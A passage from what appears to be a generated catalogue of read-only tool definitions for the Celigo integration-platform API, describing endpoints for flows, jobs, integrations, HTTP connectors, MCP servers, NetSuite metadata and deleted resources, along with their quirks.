/v1/flows/{_id}/jobs/{_jobId}/logs GET /api/v1/celigo/v1/flows/{_id}/jobs/{_jobId}/logs. Scopes: api. celigo_get_v1_flows_by_id_jobs_latest (read) — Get the most recent job(s) for a flow -- Returns the most recent job record(s) for the given flow. Typically one entry (the latest flow run), though the platform may include related retry jobs depending on account configuration. For a richer parent+children view, feed the returned `_id` into `GET /v1/jobs/{_id}/family`. via GET /v1/flows/{_id}/jobs/latest GET /api/v1/celigo/v1/flows/{_id}/jobs/latest. Scopes: api. celigo_get_v1_flows_by_id_jobs_search (read) — Search jobs within a flow by trace key -- Searches for flow-run jobs that contain records matching a trace key prefix. Returns up to 1000 matching job objects — there is no pagination beyond that limit. The `traceKeyPrefix` query parameter is required; the server returns `400` when it is missing. Known behavior: the `status` filter is accepted but silently ignored — the response always includes jobs of all statuses regardless of the filter value. Narrow the window with `createdAt_gte` / `createdAt_lte` when there are many runs for the flow. Because `status` is silently ignored, filter client-side if you need only completed or errored jobs. via GET /v1/flows/{_id}/jobs/search GET /api/v1/celigo/v1/flows/{_id}/jobs/search. Scopes: api. celigo_get_v1_flows_by_id_lastexportdatetime (read) — Get the flow's delta checkpoint -- Returns the flow-level "last export date/time" checkpoint — the most recent export timestamp across all generators (exports) in the flow. This value is what gets substituted into the `{{lastExportDateTime}}` Handlebars variable on the next delta run of any export in the flow. The checkpoint advances automatically at the end of a successful delta run. It can be overridden per run by passing `export.startDate` / `export.endDate` to `POST /v1/flows/{_id}/run`. A missing or very old value means the next delta run will re-scan the full history window from the source. This is the flow-scoped checkpoint; per-export checkpoints (for flows with multiple generators that advance independently) are exposed on the export record's `delta` block. via GET /v1/flows/{_id}/lastExportDateTime GET /api/v1/celigo/v1/flows/{_id}/lastExportDateTime. Scopes: api. celigo_get_v1_flows_by_id_test_run_by_runid_by_stepid (read) — Get per-stage detail for a flow test-run step -- Returns the per-stage input, output, and errors captured for a single step of a flow test run. Each step runs through one or more named **stages** (e.g. `request`, `parse`, `input`, `router`); this endpoint returns the ordered `stages[]` for the requested step plus a top-level `errors` array aggregating any step-level errors. The `runId` is the `flowJob._id` from the `POST /v1/flows/{_id}/test/run` response — test runs keep a separate history from production Job records. `{_stepId}` is one of the step ids from that response's `metadata` map; the stage names returned here match the stage list that map recorded for the step. For each stage, `input` and `output` are arrays of record envelopes (`{record, errors, traceKey}`) and may be `null` when the stage produced no records on that side. Use `GET /v1/flows/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse` when you need the raw outbound HTTP request/response captures instead of the staged record view. **Endpoint template applies across three resource families.** The same path shape also exists for Tools (`/v1/tools/{_id}/test/run/{runId}/{_stepId}`) and builder-mode APIs (`/v1/apis/{_id}/test/run/{runId}/{_stepId}`). Test-run state is short-lived and ephemeral — read step detail soon after the run completes. via GET /v1/flows/{_id}/test/run/{runId}/{_stepId} GET /api/v1/celigo/v1/flows/{_id}/test/run/{runId}/{_stepId}. Scopes: api. celigo_get_v1_flows_by_id_test_run_by_runid_by_stepid_logs_requestandresponse (read) — Get request/response logs for a flow test-run step -- Returns the outbound HTTP request/response log pairs captured during a specific step of a flow test run. Only steps that issued outbound HTTP calls (exports, imports, lookups) produce entries — routers, filters, and other in-process stages are rejected with `req_res_logs_not_found` by design. The `runId` comes from the `POST /v1/flows/{_id}/test/run` response (not from a normal flow run Job record — test runs and regular runs are separate histories). `{_stepId}` is the export or import id of the step you want logs for; find the id among the keys in the test-run `metadata` map. **Endpoint template applies across resource families.** The same path shape also exists for Tools (`/v1/tools/{_id}/test/run/.../logs/requestAndResponse`) and builder-mode APIs (`/v1/apis/{_id}/test/run/.../logs/requestAndResponse`), but response shapes differ by family: the builder-mode **API** variant returns a `{ requests: [] }` summary envelope whose entries are resolved via `GET /v1/apis/{_id}/{_stepId}/requests/{key}`, rather than the array of `{ request, response }` pairs documented here. Refer to each family's spec for its exact response shape. Response entries may carry base64-encoded JSON in `request.body` and `response.body` fields — decode string bodies before parsing. A 404 response is expected for non-HTTP steps (routers, filters); cross-check against the test-run metadata's stage list before treating it as a failure. Test runs are short-lived ephemeral state, so capture logs soon after the run completes. via GET /v1/flows/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse GET /api/v1/celigo/v1/flows/{_id}/test/run/{runId}/{_stepId}/logs/requestAndResponse. Scopes: api. celigo_get_v1_flows_by_id_tracekey (read) — Get a flow's trace-key patterns -- Returns the trace-key pattern for each page generator in the flow. Trace keys are used to correlate source records with their downstream results in execution logs — they let you look up "what happened to record X" without scanning the full log. Each entry in the returned array corresponds to one page generator (`pgIndex` matches the zero-based position in the flow's `pageGenerators` array). The `traceKeyPattern` describes which source-record fields and/or Handlebars templates are combined to produce the key. If both `fields` and `templates` are empty for a generator, the flow has no trace key configured and log correlation must be done by position or other means. Trace keys are especially important for fan-out flows where one source record produces many destination records. via GET /v1/flows/{_id}/traceKey GET /api/v1/celigo/v1/flows/{_id}/traceKey. Scopes: api. celigo_get_v1_groups (read) — List groups -- Returns all active groups in the account. Requires account owner or administrator access. via GET /v1/groups GET /api/v1/celigo/v1/groups. Scopes: api. celigo_get_v1_groups_by_id (read) — Get a group -- Retrieves a single group by ID. via GET /v1/groups/{_id} GET /api/v1/celigo/v1/groups/{_id}. Scopes: api. celigo_get_v1_historicalmonthlyusage (read) — Get historical monthly entitlement usage -- Returns historical monthly usage for accounts on flow-run pricing models (primarily platform licenses). Useful for month-by-month trend analysis of usage vs. allocation. via GET /v1/historicalMonthlyUsage GET /api/v1/celigo/v1/historicalMonthlyUsage. Scopes: api. celigo_get_v1_httpconnectors (read) — List HTTP connectors -- Returns all HTTP Connectors visible to the authenticated account. The list response is abridged -- it omits `published`, `baseURIs`, `supportedBy`, and other detail fields. Use the by-ID endpoint for the full object. via GET /v1/httpconnectors GET /api/v1/celigo/v1/httpconnectors. Scopes: api. celigo_get_v1_httpconnectors_by_httpconnectorid_by_httpconnectorresourceid_by_id (read) — Get an HTTP connector endpoint -- Retrieves the full HTTP Connector Endpoint including `method`, `relativeURI`, `queryParameters`, `pathParameters`, and `supportedBy` details omitted from the list endpoint. via GET /v1/httpconnectors/{_httpConnectorId}/{_httpConnectorResourceId}/{_id} GET /api/v1/celigo/v1/httpconnectors/{_httpConnectorId}/{_httpConnectorResourceId}/{_id}. Scopes: api. celigo_get_v1_httpconnectors_by_httpconnectorid_by_httpconnectorresourceid_httpconnectorendpoints (read) — List HTTP Connector Endpoints for a connector resource -- Returns all endpoints defined under the given HTTP Connector Resource. The list response is abridged — only `_id`, `name`, `createdAt`, and `lastModified` are returned. Use the by-ID endpoint for the full object including `method`, `relativeURI`, and `supportedBy`. via GET /v1/httpconnectors/{_httpConnectorId}/{_httpConnectorResourceId}/httpconnectorendpoints GET /api/v1/celigo/v1/httpconnectors/{_httpConnectorId}/{_httpConnectorResourceId}/httpconnectorendpoints. Scopes: api. celigo_get_v1_httpconnectors_by_httpconnectorid_by_id (read) — Get an HTTP connector resource -- Retrieves a specific HTTP Connector Resource by its unique identifier. The path uses a shortcut form: `/v1/httpconnectors/{_httpConnectorId}/{_id}` where `{_id}` is the resource ID directly under the connector. The longer form `/v1/httpconnectors/{_httpConnectorId}/httpconnectorresources/{_id}` is not supported and fails with an `invalid_ref` error. The detail response includes `published` and `_httpConnectorId` fields that are omitted from the list endpoint. via GET /v1/httpconnectors/{_httpConnectorId}/{_id} GET /api/v1/celigo/v1/httpconnectors/{_httpConnectorId}/{_id}. Scopes: api. celigo_get_v1_httpconnectors_by_httpconnectorid_httpconnectorresources (read) — List HTTP Connector Resources for a connector -- Returns all resources (logical API groupings) defined under the given HTTP Connector. The list response is abridged — it omits `published` and `_httpConnectorId` compared to the detail endpoint. Use `GET /v1/httpconnectors/{_httpConnectorId}/{_id}` for the full object. Each resource's `_id` doubles as the `_httpConnectorResourceId` path parameter used by the HTTP Connector Endpoints API. via GET /v1/httpconnectors/{_httpConnectorId}/httpconnectorresources GET /api/v1/celigo/v1/httpconnectors/{_httpConnectorId}/httpconnectorresources. Scopes: api. celigo_get_v1_httpconnectors_by_id (read) — Get an HTTP connector -- Retrieves the full HTTP Connector object including `published`, `baseURIs`, `supportedBy`, and version details omitted from the list endpoint. via GET /v1/httpconnectors/{_id} GET /api/v1/celigo/v1/httpconnectors/{_id}. Scopes: api. celigo_get_v1_httpconnectors_by_id_catalog (read) — Get form metadata catalog -- Returns projected resource and endpoint summaries for one import or export plane. Import catalogs may include derived `ignoreExisting`, `ignoreMissing`, and `isIdentifierPresent` flags on endpoints. Export catalogs return endpoint `{ id, name }` only. Published-only requests may be served from the MongoDB catalog cache and include an `X-Catalog-Cache` response header. via GET /v1/httpconnectors/{_id}/catalog GET /api/v1/celigo/v1/httpconnectors/{_id}/catalog. Scopes: api. celigo_get_v1_httpconnectors_by_id_resourceendpointdetail (read) — Get resource and endpoint detail -- Returns scoped `httpConnectorResource` and `httpConnectorEndpoint` documents for a single export/import endpoint, or a paired import create/update batch. Lookup endpoints may be inlined when they are published and belong to the same connector. `endpointId` and `endpointIds` are mutually exclusive; `endpointIds` is only valid when `resourceType` is `import` and must contain exactly two comma-separated ObjectIds. Composite `id1+id2` values are rejected. via GET /v1/httpconnectors/{_id}/resourceEndpointDetail GET /api/v1/celigo/v1/httpconnectors/{_id}/resourceEndpointDetail. Scopes: api. celigo_get_v1_iclients (read) — List iClients -- Returns all iClients in the account. Does not paginate — all iClients are returned in a single response. via GET /v1/iclients GET /api/v1/celigo/v1/iclients. Scopes: api. celigo_get_v1_iclients_by_id (read) — Get an iClient -- Retrieves a single iClient by ID. via GET /v1/iclients/{_id} GET /api/v1/celigo/v1/iclients/{_id}. Scopes: api. celigo_get_v1_iclients_by_id_dependencies (read) — List dependencies of an iClient -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` when no dependents exist, including for well-formatted but nonexistent IDs. via GET /v1/iclients/{_id}/dependencies GET /api/v1/celigo/v1/iclients/{_id}/dependencies. Scopes: api. celigo_get_v1_imports (read) — List imports -- Returns a list of all imports configured in the account. If no imports exist in the account, a 204 response with no body will be returned. Celigo documents this same endpoint on 3 resource pages: imports (listImports) plus ai-agents (listAiAgents), guardrails (listGuardrails). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via GET /v1/imports GET /api/v1/celigo/v1/imports. Scopes: api. celigo_get_v1_imports_by_id (read) — Get an import -- Returns the complete configuration of a specific import. Celigo documents this same endpoint on 3 resource pages: imports (getImportById) plus ai-agents (getAiAgentById), guardrails (getGuardrailById). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via GET /v1/imports/{_id} GET /api/v1/celigo/v1/imports/{_id}. Scopes: api. celigo_get_v1_imports_by_id_clone_preview (read) — Preview cloning an import -- Returns a preview of the resources that would be created by cloning the specified import. The response includes the target import and any transitive dependencies (e.g. connections, scripts). No resources are created by this endpoint. via GET /v1/imports/{_id}/clone/preview GET /api/v1/celigo/v1/imports/{_id}/clone/preview. Scopes: api. celigo_get_v1_imports_by_id_dependencies (read) — List dependencies of an AI agent -- Returns resources that depend on this AI agent import. Keys are resource types (e.g. `flows`); values are arrays of dependency entries. Check dependencies before deleting — the DELETE endpoint is blocked if dependents exist. Returns `{}` for both zero-dependency and nonexistent IDs. Celigo documents this same endpoint on 3 resource pages: ai-agents (listAiAgentDependencies) plus guardrails (listGuardrailDependencies), imports (listImportDependencies). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via GET /v1/imports/{_id}/dependencies GET /api/v1/celigo/v1/imports/{_id}/dependencies. Scopes: api. celigo_get_v1_integrations (read) — List integrations -- Returns all integrations in the account. Supports field projection via `include`/`exclude`. via GET /v1/integrations GET /api/v1/celigo/v1/integrations. Scopes: api. celigo_get_v1_integrations_by_id (read) — Get an integration -- Returns the full integration object. via GET /v1/integrations/{_id} GET /api/v1/celigo/v1/integrations/{_id}. Scopes: api. celigo_get_v1_integrations_by_id_ashares (read) — List account shares for an integration -- Returns an array of account-share (ashare) objects for the integration. Each entry describes a user who has been granted access to the integration's owning account, along with their access level and authentication metadata. Unlike other integration sub-resource list endpoints, this always returns an array (an integration with no shares returns `[]`). via GET /v1/integrations/{_id}/ashares GET /api/v1/celigo/v1/integrations/{_id}/ashares. Scopes: api. celigo_get_v1_integrations_by_id_asynchelpers (read) — List async helpers belonging to an integration -- Returns a bare array of async-helper objects for every async helper registered to the integration. Each element is a complete async-helper resource, the same shape as `GET /v1/asynchelpers/{_id}`. via GET /v1/integrations/{_id}/asynchelpers GET /api/v1/celigo/v1/integrations/{_id}/asynchelpers. Scopes: api. celigo_get_v1_integrations_by_id_clone_preview (read) — Preview cloning an integration -- Returns a preview of the resources that would be created by cloning the specified integration. The response includes the integration and all transitive dependencies — flows, connections, exports, imports, scripts, async helpers, lookup caches, and tools. No resources are created by this endpoint. via GET /v1/integrations/{_id}/clone/preview GET /api/v1/celigo/v1/integrations/{_id}/clone/preview. Scopes: api. celigo_get_v1_integrations_by_id_clonefamily (read) — List an integration's clone family -- Returns every member of the integration's clone family -- the original plus every clone (recursively, across environments). Used by ILM to decide which integrations can be pull/push sources or targets for the current integration. This endpoint requires the `integrator-ashareid` header to establish a shared-account context. For simpler clone-relationship lookups, the integration's own `_sourceId` field points to the parent it was cloned from, and `GET /v1/integrations?_sourceId=` lists the children. via GET /v1/integrations/{_id}/clonefamily GET /api/v1/celigo/v1/integrations/{_id}/clonefamily. Scopes: api. celigo_get_v1_integrations_by_id_connections (read) — List connections belonging to an integration -- Returns a bare array of full connection objects for every connection registered to the integration. Each element is a complete connection resource, the same shape as `GET /v1/connections/{_id}`. Unlike the flows/imports/exports sub-resource endpoints, this endpoint rejects unknown integration ids with a 404. via GET /v1/integrations/{_id}/connections GET /api/v1/celigo/v1/integrations/{_id}/connections. Scopes: api. celigo_get_v1_integrations_by_id_dependencies (read) — List dependencies of an integration -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. An empty object `{}` means no other resources depend on the target (also returned for a well-formatted but nonexistent id). via GET /v1/integrations/{_id}/dependencies GET /api/v1/celigo/v1/integrations/{_id}/dependencies. Scopes: api. celigo_get_v1_integrations_by_id_errors (read) — Summarize open errors across an integration's flows -- Returns a per-flow count of currently open (unresolved) errors for every flow in the integration. Flows with zero open errors still appear so callers see the full flow roster; `lastErrorAt` is only populated when `numError > 0`. Entries do not contain individual error ids -- to get actionable error records, drill into `GET /v1/flows/{_flowId}/{_stepId}/errors` for each flow and step. via GET /v1/integrations/{_id}/errors GET /api/v1/celigo/v1/integrations/{_id}/errors. Scopes: api. celigo_get_v1_integrations_by_id_exports (read) — List exports belonging to an integration -- Returns a bare array of full export objects for every export in the integration. Each element is a complete export resource, the same shape as `GET /v1/exports/{_id}`. via GET /v1/integrations/{_id}/exports GET /api/v1/celigo/v1/integrations/{_id}/exports. Scopes: api. celigo_get_v1_integrations_by_id_flows (read) — List flows belonging to an integration -- Returns a bare array of full flow objects for every flow in the integration. Each element is a complete flow resource, the same shape as `GET /v1/flows/{_id}`. via GET /v1/integrations/{_id}/flows GET /api/v1/celigo/v1/integrations/{_id}/flows. Scopes: api. celigo_get_v1_integrations_by_id_ilmignore (read) — List available ILM ignore fields -- Returns the catalog of *available* fields that can be ignored when pulling changes between related integrations. Keys are lowercase resource types (`integration`, `flow`, `export`, `import`, `connection`, `script`, ...); values are arrays of dot-path field names that can be excluded from an ILM pull/revert. The key set is platform-driven — treat the response, not the example list, as the authoritative catalog. This endpoint requires the `integrator-ashareid` header to establish a shared-account context. The current ignore configuration lives on the integration's `iLMIgnore` field (readable via `GET /v1/integrations/{_id}`); this endpoint only returns the menu of what *can* be ignored. To change the configuration, PATCH the integration with `[{op:"replace", path:"/iLMIgnore", value:{...}}]`. via GET /v1/integrations/{_id}/iLMIgnore GET /api/v1/celigo/v1/integrations/{_id}/iLMIgnore. Scopes: api. celigo_get_v1_integrations_by_id_imports (read) — List imports belonging to an integration -- Returns a bare array of full import objects for every import in the integration. Each element is a complete import resource, the same shape as `GET /v1/imports/{_id}`. via GET /v1/integrations/{_id}/imports GET /api/v1/celigo/v1/integrations/{_id}/imports. Scopes: api. celigo_get_v1_integrations_by_id_jobs_latest (read) — Get the most recent job(s) for an integration -- Returns the most recent job record(s) across all flows in the given integration. Useful for a top-level status check on an integration. The result is not filtered by status -- inspect each entry's `status` to distinguish success from failure. via GET /v1/integrations/{_id}/jobs/latest GET /api/v1/celigo/v1/integrations/{_id}/jobs/latest. Scopes: api. celigo_get_v1_integrations_by_id_revisions (read) — List revisions for an integration -- Returns every revision entry (snapshots, pulls, reverts) for the integration, newest first. An integration with no revision history returns an empty response (204), not `[]`. via GET /v1/integrations/{_id}/revisions GET /api/v1/celigo/v1/integrations/{_id}/revisions. Scopes: api. celigo_get_v1_integrations_by_id_revisions_by_revisionid (read) — Get a revision -- Returns the full revision record. The list endpoint already surfaces every field, so this is primarily useful when you have a `_revisionId` in hand (e.g. from a webhook, audit log, or external reference) and want to verify state without re-listing. via GET /v1/integrations/{_id}/revisions/{_revisionId} GET /api/v1/celigo/v1/integrations/{_id}/revisions/{_revisionId}. Scopes: api. celigo_get_v1_integrations_by_id_revisions_by_revisionid_diff (read) — Diff a pending revision -- Returns the before/after diff for a pull or revert revision. The diff is materialized on `pull` and `revert` revisions and is retained on their `completed` state -- available for both `inprogress` and `completed` pull/revert revisions. Snapshot revisions are not diffable (there is no source integration to diff against), and `canceled` revisions drop their diff. The response body is a `{before, after}` envelope where each side is a map keyed by resource type (e.g. `flow`, `export`, `connection`, `api`, `tool`) whose values are maps of resourceId to full resource snapshot. via GET /v1/integrations/{_id}/revisions/{_revisionId}/diff GET /api/v1/celigo/v1/integrations/{_id}/revisions/{_revisionId}/diff. Scopes: api. celigo_get_v1_integrations_by_id_template (read) — Get a downloadable template for an integration -- Packages the integration as an installable template and returns a signed S3 URL where the template `.zip` can be downloaded. The URL is pre-signed and short-lived (it expires shortly after issuance), so fetch the file promptly after calling this endpoint. The downloaded `.zip` is the same artifact used to install the integration as a template into another account. via GET /v1/integrations/{_id}/template GET /api/v1/celigo/v1/integrations/{_id}/template. Scopes: api. celigo_get_v1_integrations_by_id_tree_metadata (read) — Get integration tree metadata -- Returns structural metadata for the integration and its child integrations. The response includes install steps, flow groupings, API groupings, registered connection ids, uninstall steps, and change-edition steps, plus a `childIntegrations` array with the same structure for each child. Primarily useful for Integration App integrations that have install/uninstall steps and child integrations. via GET /v1/integrations/{_id}/tree/metadata GET /api/v1/celigo/v1/integrations/{_id}/tree/metadata. Scopes: api. celigo_get_v1_integrations_by_integrationid_syncjobs_latest (read) — Get the latest sync job for each sync in an integration -- Returns the most recent sync job for each sync resource belonging to the given integration. The response is a bare JSON array with one `SyncJob` entry per sync. Returns an empty response when no sync jobs exist for any sync in the integration. Each entry in the array represents the latest run of a different sync; use `_syncId` on each returned job to correlate back to the sync resource. The response is a bare array, not wrapped in a `data` envelope. via GET /v1/integrations/{_integrationId}/syncJobs/latest GET /api/v1/celigo/v1/integrations/{_integrationId}/syncJobs/latest. Scopes: api. celigo_get_v1_integrations_by_integrationid_syncs (read) — List syncs in an integration -- Returns the syncs that belong to one integration, sorted by name. Equivalent to `GET /v1/syncs?_integrationId={_integrationId}`. via GET /v1/integrations/{_integrationId}/syncs GET /api/v1/celigo/v1/integrations/{_integrationId}/syncs. Scopes: api. celigo_get_v1_integrations_template_preview (read) — Preview a template install from an uploaded zip -- Previews the resources that would be created by installing a template from an uploaded zip file. The `runKey` query parameter ties this request to a previously uploaded zip (obtained from `GET /v1/s3SignedURL`). via GET /v1/integrations/template/preview GET /api/v1/celigo/v1/integrations/template/preview. Scopes: api. celigo_get_v1_jobs (read) — List all jobs -- Returns jobs matching the given query-parameter filters, up to 1001 per page in descending `createdAt` order. Use `createdAt_lte` on the last record's `createdAt` (minus 1 ms) to page forward. There are two query modes depending on the `type` parameter: - **Parent jobs** (`type` omitted, `flow`, `retry`, or `bulk_retry`) — pass at least one of `_integrationId`, `_flowId`, `_exportId`, `_importId`, `_flowJobId`, `createdAt_gte`, or `createdAt_lte` to scope the query. Omitting all filters returns all jobs in the account. - **Child jobs** (`type=export` or `type=import`) — requires `_flowJobId` or a resource ID filter (`_exportId` / `_importId`). Returns the export/import sub-jobs within a parent flow job. Date filters accept ISO 8601, plain date, or epoch milliseconds. When combining `numError_gte`/`numError_lte` with `_integrationId`, use full ISO 8601 with millis (plain-date format may be rejected). To page forward, take the `createdAt` of the last record, subtract 1 ms, and pass it as `createdAt_lte`. Active jobs (`queued` or `running`) are pinned to the top of the first page even when they fall outside the date filters; `canceling` jobs are not pinned. Account for this when paging — the first page can contain records older filters would otherwise exclude. via GET /v1/jobs GET /api/v1/celigo/v1/jobs. Scopes: api. celigo_get_v1_jobs_by_id (read) — Get a job -- Returns a single job record. Works for both parent jobs (`type=flow`, `retry`, `bulk_retry`) and child jobs (`type=export`, `type=import`). For the full parent+children view of a flow run, use `GET /v1/jobs/{_id}/family` instead. For a multi-job lookup, use `POST /v1/jobs/family`. via GET /v1/jobs/{_id} GET /api/v1/celigo/v1/jobs/{_id}. Scopes: api. celigo_get_v1_jobs_by_id_diagnostics (read) — Get a signed URL for job diagnostics -- Returns a short-lived S3 pre-signed URL pointing to a diagnostic archive (`.zip`) for the given job. The archive contains server-side traces/logs that Celigo support uses to debug execution failures. The URL is typically valid for ~15 minutes (enforced by S3). Consumers should fetch the archive immediately rather than storing the URL. This is distinct from flow execution logs -- use `GET /v1/flows/{_id}/jobs/{_jobId}/logs` for step-level execution logs. Jobs with no diagnostics (very recent, or past `purgeAt`) return 204. via GET /v1/jobs/{_id}/diagnostics GET /api/v1/celigo/v1/jobs/{_id}/diagnostics. Scopes: api. celigo_get_v1_jobs_by_id_family (read) — Get a job and its children -- Returns a single job record (as parent) with all of its child jobs inlined under `children`. A "job family" maps to one flow execution: the parent is a `type: "flow"` job and the children are the `export` / `import` / `retry` jobs that ran as part of it. For non-flow jobs (a standalone export run, or a retry), `children` may be empty. For fetching many families at once, batch via `POST /v1/jobs/family`. The parent's counters may not include bulk-retry jobs spawned after the initial run -- aggregate across `children` for an accurate per-run summary. via GET /v1/jobs/{_id}/family GET /api/v1/celigo/v1/jobs/{_id}/family. Scopes: api. celigo_get_v1_licenseentitlementusage (read) — Get license entitlement usage -- Returns entitlement usage for the current account/license -- how many resources the account is consuming vs. what is entitled. Pair with `GET /v1/licenses` for the entitlement limits. via GET /v1/licenseEntitlementUsage GET /api/v1/celigo/v1/licenseEntitlementUsage. Scopes: api. celigo_get_v1_licenses (read) — Get licenses (subscription) -- Returns one account-level license (`type` is `platform`, `integrator`, or `endpoint`) plus zero or more `connector`, `integrationApp`, or `integrationAppChild` licenses. via GET /v1/licenses GET /api/v1/celigo/v1/licenses. Scopes: api. celigo_get_v1_lookupcaches (read) — List lookup caches -- Returns lookup caches in the account. via GET /v1/lookupcaches GET /api/v1/celigo/v1/lookupcaches. Scopes: api. celigo_get_v1_lookupcaches_by_id (read) — Get a lookup cache -- Returns configuration, metadata, and current size of a lookup cache. This returns metadata only — to read the cached key-value data, use `POST /v1/lookupcaches/{_id}/getData`. via GET /v1/lookupcaches/{_id} GET /api/v1/celigo/v1/lookupcaches/{_id}. Scopes: api. celigo_get_v1_lookupcaches_by_id_clone_preview (read) — Preview cloning a lookup cache -- Returns resources that would be created by cloning this cache. Lookup caches have no transitive dependencies, so the response contains only the cache itself. No resources are created. Whether the clone includes cached data depends on the source cache's `includeDataInTemplatesAndCloning` setting. via GET /v1/lookupcaches/{_id}/clone/preview GET /api/v1/celigo/v1/lookupcaches/{_id}/clone/preview. Scopes: api. celigo_get_v1_lookupcaches_by_id_dependencies (read) — List dependencies of a lookup cache -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. An empty object `{}` means no dependents exist (also returned for a well-formatted but nonexistent id). via GET /v1/lookupcaches/{_id}/dependencies GET /api/v1/celigo/v1/lookupcaches/{_id}/dependencies. Scopes: api. celigo_get_v1_mcpoauthproviders (read) — List MCP OAuth providers -- Returns all MCP OAuth providers in the account. via GET /v1/mcpoauthproviders GET /api/v1/celigo/v1/mcpoauthproviders. Scopes: api. celigo_get_v1_mcpoauthproviders_by_id (read) — Get an MCP OAuth provider -- Returns the full configuration of an MCP OAuth provider. via GET /v1/mcpoauthproviders/{_id} GET /api/v1/celigo/v1/mcpoauthproviders/{_id}. Scopes: api. celigo_get_v1_mcpservers (read) — List MCP servers -- Returns all MCP servers in the account. via GET /v1/mcpservers GET /api/v1/celigo/v1/mcpservers. Scopes: api. celigo_get_v1_mcpservers_by_id (read) — Get an MCP server -- Returns the full configuration of an MCP server including tools, APIs, prompts, resources, and OAuth settings. via GET /v1/mcpservers/{_id} GET /api/v1/celigo/v1/mcpservers/{_id}. Scopes: api. celigo_get_v1_mcpservers_by_id_dependencies (read) — List dependencies of an MCP server -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. Returns `{}` when no dependents exist, including for well-formatted but nonexistent IDs. via GET /v1/mcpservers/{_id}/dependencies GET /api/v1/celigo/v1/mcpservers/{_id}/dependencies. Scopes: api. celigo_get_v1_mcpservers_by_id_effective_access (read) — Get effective end-user access for an MCP server -- Server-scoped reverse lookup: finds every end user who can reach this MCP server and compiles each one's effective tool access with source attribution — the union of direct grants, group grants, role grants, and permission sets. The result is recomputed on every request rather than cached. Requires account owner or administrator access. The per-user view of the same compilation is `GET /v1/endusers/{_ashareId}/effective-access` (End Users API). via GET /v1/mcpservers/{_id}/effective-access GET /api/v1/celigo/v1/mcpservers/{_id}/effective-access. Scopes: api. celigo_get_v1_netsuite_metadata_suitescript_connections_by_id_recordtypes (read) — List record types for a NetSuite connection -- Returns an array of all record types available via SuiteScript for the given NetSuite connection. The response typically contains ~539 record type descriptors. Pass `?refreshCache=true` to bypass the server-side cache and fetch fresh metadata from NetSuite. via GET /v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes GET /api/v1/celigo/v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes. Scopes: api. celigo_get_v1_netsuite_metadata_suitescript_connections_by_id_recordtypes_by_recordtype (read) — List fields for a NetSuite record type -- Returns an array of field descriptors for the specified record type on the given NetSuite connection. Fields are grouped by category (e.g. `Body Field`) and include their data types. via GET /v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes/{recordType} GET /api/v1/celigo/v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes/{recordType}. Scopes: api. celigo_get_v1_netsuite_metadata_suitescript_connections_by_id_recordtypes_by_recordtype_sublists (read) — List sublists for a NetSuite record type -- Returns an array of sublists (line-item groups) available on the specified record type for the given NetSuite connection. via GET /v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes/{recordType}/sublists GET /api/v1/celigo/v1/netsuite/metadata/suitescript/connections/{_id}/recordTypes/{recordType}/sublists. Scopes: api. celigo_get_v1_netsuite_metadata_suitescript_connections_by_id_savedsearches (read) — List saved searches for a NetSuite connection -- Returns an array of saved searches available on the given NetSuite connection. The `recordType` query parameter is accepted but silently ignored by the server -- all saved searches are returned regardless. via GET /v1/netsuite/metadata/suitescript/connections/{_id}/savedSearches GET /api/v1/celigo/v1/netsuite/metadata/suitescript/connections/{_id}/savedSearches. Scopes: api. celigo_get_v1_notifications (read) — List notification subscriptions -- Returns notification subscriptions for flows, connections, integrations, and syncs in the account. Without the `users=all` query parameter, the response is scoped to the caller's own subscriptions. With `users=all`, every user's subscriptions in the account are returned. Returns an empty response when the caller has no subscriptions in the current scope. With `users=all`, an empty array is returned only in accounts with zero subscriptions across all users. via GET /v1/notifications GET /api/v1/celigo/v1/notifications. Scopes: api. celigo_get_v1_preferences (read) — Get current user preferences -- Returns UI and account/environment preferences for the currently-authenticated user. Examples include: - date/time display formatting (`dateFormat`, `timeFormat`) - current environment selection (`environment`) - UI layout preferences (dashboard/pagination/drawer settings) via GET /v1/preferences GET /api/v1/celigo/v1/preferences. Scopes: api. celigo_get_v1_processors (read) — List available flow processor types -- Returns the catalog of processor types the flow engine supports — filter, transform, handlebars, javascript, mapper, CSV/XML parser / generator, branch filter, merge, etc. Each entry carries a label, description, and the input/output media types the processor accepts. The response is keyed by processor name (not an array). via GET /v1/processors GET /api/v1/celigo/v1/processors. Scopes: api. celigo_get_v1_published (read) — List published Integration Apps (Connectors) -- Returns the marketplace catalog of **Integration Apps** — the Celigo-built, fully-managed connectors that install as a single integration. Roughly 30 entries curated by Celigo. Each item is a marketplace listing, not an integration instance — `_id` is the marketplace entry id, the `applications` array enumerates the systems the connector bridges, and `numInstalls` is the live install counter across all Celigo accounts. For a combined list that also includes user-installable Templates, use `POST /v1/published/combined` instead. Entries here have no `docType` field -- that discriminator only appears in the combined endpoint's response. via GET /v1/published GET /api/v1/celigo/v1/published. Scopes: api. celigo_get_v1_recyclebinttl (read) — List deleted resources -- Returns all resources deleted within the last 30 days, across all resource types. Files and folders deleted from Celigo Storage are included as `StorageItem` entries. Sorted by `lastModified` descending. Not paginated — the full result set is returned in a single response. via GET /v1/recycleBinTTL GET /api/v1/celigo/v1/recycleBinTTL. Scopes: api. celigo_get_v1_recyclebinttl_by_resourcetype (read) — List deleted resources by type -- Returns deleted resources of a specific type from the recycle bin (last 30 days). Sort order is not guaranteed. Not paginated — the full result set is returned in a single response. `storageitems` behaves differently: the request is proxied to Celigo Storage, which returns an object wrapping an `items` array (not a bare array), sorted by newest deletion first and paginated via the `Link` response header. via GET /v1/recycleBinTTL/{_resourceType} GET 